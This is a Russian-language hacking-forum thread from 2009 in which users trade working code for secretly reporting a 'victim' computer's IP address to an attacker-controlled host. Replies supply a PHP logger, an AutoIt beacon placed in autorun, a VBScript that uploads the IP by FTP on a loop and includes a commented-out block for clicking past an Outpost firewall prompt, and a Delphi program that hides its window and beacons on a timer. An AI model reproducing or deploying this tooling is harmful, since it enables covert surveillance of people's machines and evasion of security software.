ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

14.11.2009, 17:35
|
|
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме: 88269
Репутация:
10
|
|
Если у тебя есть хост, то:
Заливаешь туда скрипт пыховский:
<?php
file = fopen("log.txt","w");
fwrite(file,$_SERVER['REMOTE_ADDR']);
fclose(file);
?>
На вражеском компе в авторан мини скрипт, запрашивающий эту страничку
Смотрим log.txt и там ву-а-ля: IP жертвы 
|
|
|

16.11.2009, 11:30
|
|
Новичок
Регистрация: 09.11.2009
Сообщений: 13
Провел на форуме: 110708
Репутация:
1
|
|
Сообщение от Nik(rus)
Если у тебя есть хост, то:
Заливаешь туда скрипт пыховский:
<?php
file = fopen("log.txt","w");
fwrite(file,$_SERVER['REMOTE_ADDR']);
fclose(file);
?>
На вражеском компе в авторан мини скрипт, запрашивающий эту страничку
Смотрим log.txt и там ву-а-ля: IP жертвы 
"мини скрипт" можно поподробней... И желательно так чтоб каждый час например запрашивал
|
|
|

16.11.2009, 13:14
|
|
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме: 435863
Репутация:
80
|
|
Лучше всего конечно ASM + Winsock, но можно вполне и на делфи написать. В общем пишешь через indy (компонент IdHTTP) программу, которая будет посылать GET запрос на указанный хост, который в свою очередь содержит скрипт, записывающий в логи айпи. Ну и сделай это все в таймере. Интервал поставь какой надо. И пропиши программу в автозагрузку. Вот собственно и весь метод.
|
|
|

16.11.2009, 19:51
|
|
Познающий
Регистрация: 19.06.2009
Сообщений: 34
Провел на форуме: 88269
Репутация:
10
|
|
AutoIt код:
Код:
#include <HTTP.au3>
$host = "www.php.jim"
$page = "/some.php"
$http = _HTTPConnect($host)
_HTTPGet($host,$page,$http)
HTTP.au3
Компилиш и вот тебе беспалевный ехешник,как в авторан запихать расказывать не буду, думаю тебе мои способы покажутся палевными  (я ядро винды не лапаю Oo)
|
|
|

16.11.2009, 19:58
|
|
Постоянный
Регистрация: 13.11.2009
Сообщений: 437
Провел на форуме: 709575
Репутация:
17
|
|
vb script если нужно под себя подделаешь
Код:
On Error Resume Next
newfolderpath = "C:\WEB" 'Папка где находится скрипт
login="фтп-логин"
password="фтп-пасс"
ftpp="ftp.narod.ru"
'================================================= ===
' Узнаем текущий IP и пишем его в файл
'================================================= ===
set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
set objService = objLocator.ConnectServer (server, "", username, password)
strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
set objEnumerator = objService.ExecQuery(strQuery)
for each obj in objEnumerator
if Not IsNull(obj.IPAddress) then
for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
GetIPaddress = obj.IPAddress(i)
'Узнаем текущий (реальный) наш IP
Str = GetIPaddress
next
end if
next
FileDestination = "ip.txt"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Destination = FSO.CreateTextFile(FileDestination)
Destination.WriteLine Str
set Destination = Nothing
Set FSO = Nothing
set objLocator = Nothing
'================================================= ================================================== ============
'Отправляем на фтп текущий IP
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE
set FSO = CreateObject("Scripting.FileSystemObject")
Set WSHshell = WScript.CreateObject("WScript.Shell")
Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз)
cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту
cScript.WriteLine "" & login & "" '- Имя пользователя
cScript.WriteLine "" & password & "" '- Пароль
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT ip.txt"'- Отправляем IP
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru
cScript.Close '- Конец записи в файл сценария
' Запускаем FTP-сценарий
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
'set w=CreateObject("WScript.Shell")
'a=0
'do
'r=W.AppActivate("ftp.exe")
'if r then
'a=1
'w.SendKeys "{tab 2}"
'w.SendKeys "{enter}"
'end if
'loop until a=1
'set w=Nothing
'---------------------------
Set fso = Nothing
Set WSHshell = Nothing
'================================================= ===
'А теперь запускаем цикл проверки на изменение IP
'================================================= ===
Const ForReading = 1
Str=1
s=2
if Str<>s then
While 1
WScript.Sleep 10000 ' Сканим на изменение IP раз в 15 минут
set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
set objService = objLocator.ConnectServer (server, "", username, password)
strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
set objEnumerator = objService.ExecQuery(strQuery)
for each obj in objEnumerator
if Not IsNull(obj.IPAddress) then
for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
GetIPaddress = obj.IPAddress(i)
'Узнаем текущий (реальный) наш IP
Str = GetIPaddress
next
end if
next
Set FSO = Nothing
set objLocator = Nothing
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ts = FSO.OpenTextFile("ip.txt", ForReading)
s = ts.ReadLine
ts.Close
Set FSO = Nothing
Set ts = Nothing
if Str<>s then
FileDestination = "ip.txt"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Destination = FSO.CreateTextFile(FileDestination)
Destination.WriteLine Str
set Destination = Nothing
Set FSO = Nothing
'================================================= ================================================== ============
'Отправляем на фтп новый IP (уже в цикле, каждые 15 минут, в случае, если IP изменился)
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE
set FSO = CreateObject("Scripting.FileSystemObject")
Set WSHshell = WScript.CreateObject("WScript.Shell")
Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз)
cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту
cScript.WriteLine "" & login & "" '- Имя пользователя
cScript.WriteLine "" & password & "" '- Пароль
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT ip.txt"'- Отправляем куки от IE
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru
cScript.Close '- Конец записи в файл сценария
' Запускаем FTP-сценарий
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
'set w=CreateObject("WScript.Shell")
'a=0
'do
'r=W.AppActivate("ftp.exe")
'if r then
'a=1
'w.SendKeys "{tab 2}"
'w.SendKeys "{enter}"
'end if
'loop until a=1
'set w=Nothing
'---------------------------
Set fso = Nothing
Set WSHshell = Nothing
end if
Wend
end if
этот скрипт меня не раз выручал  Ну в общем дерзай 
Последний раз редактировалось cheater_man; 16.11.2009 в 20:08..
|
|
|

16.11.2009, 20:19
|
|
Новичок
Регистрация: 09.11.2009
Сообщений: 13
Провел на форуме: 110708
Репутация:
1
|
|
Не работает у меня приходит левый IP
|
|
|

16.11.2009, 20:47
|
|
Постоянный
Регистрация: 13.11.2009
Сообщений: 437
Провел на форуме: 709575
Репутация:
17
|
|
Сообщение от francesko
Не работает у меня приходит левый IP
Ты хотябы со скриптом разобрался ? Как видишь этот скрипт выполняет следующие ф-ции:
1. распознает ВНУТРЕСЕТЕВОЙ ip
2. сохраняет его в txt
3. отправляет его тебе на ftp
...
Ну в общем не чего сложного!
Тебе нужен внутресетевой или внешний ip?
Последний раз редактировалось cheater_man; 16.11.2009 в 21:05..
|
|
|

16.11.2009, 23:53
|
|
Новичок
Регистрация: 09.11.2009
Сообщений: 13
Провел на форуме: 110708
Репутация:
1
|
|
Хм... да ты прав А как его переделать под внешний ip?
|
|
|

17.11.2009, 12:19
|
|
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме: 435863
Репутация:
80
|
|
Вот код на делфи. Передает айпи на скрипт ip.php, который принимает его и записывает в файл ip.txt. Кидаем на форму три компонента - таймер, IdHTTP (Indy Clients) и IdIpWatch (Indy Misc).
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdIPWatch, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
IdHTTP1: TIdHTTP;
IdIPWatch1: TIdIPWatch;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
myip: string;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
myip:=IdIpWatch1.LocalIP;
IdHTTP1.Get('http://mysite.ru/ip.php?ip=' + myip); //Меняем на свой адрес хоста, где размещен скрипт.
end;
end.
Выставляем интервал таймера. Он отвечает за скорость передачи на скрипт айпи. 1000 = 1 сек.
Затем клацаем Project - View Source, и там дописываем одну строчку - Application.ShowMainForm:=False;
Должно получиться вот так:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=False;
Application.Run;
end.
Это сделает твою программу скрытой.
Вот php скрипт, который принимает IP:
PHP код:
<?php
$file = fopen("ip.txt","a");
fwrite($file, $_GET['ip']);
fwrite($file, "\r\n");
fclose($file);
?>
Все айпи будут записанные в ip.txt
Последний раз редактировалось Sams; 21.11.2009 в 11:53..
|
|
|

17.11.2009, 12:35
|
|
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме: 435863
Репутация:
80
|
|
Nik(rus), а иконка AutoIt в трее совсем не палевная, да? 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|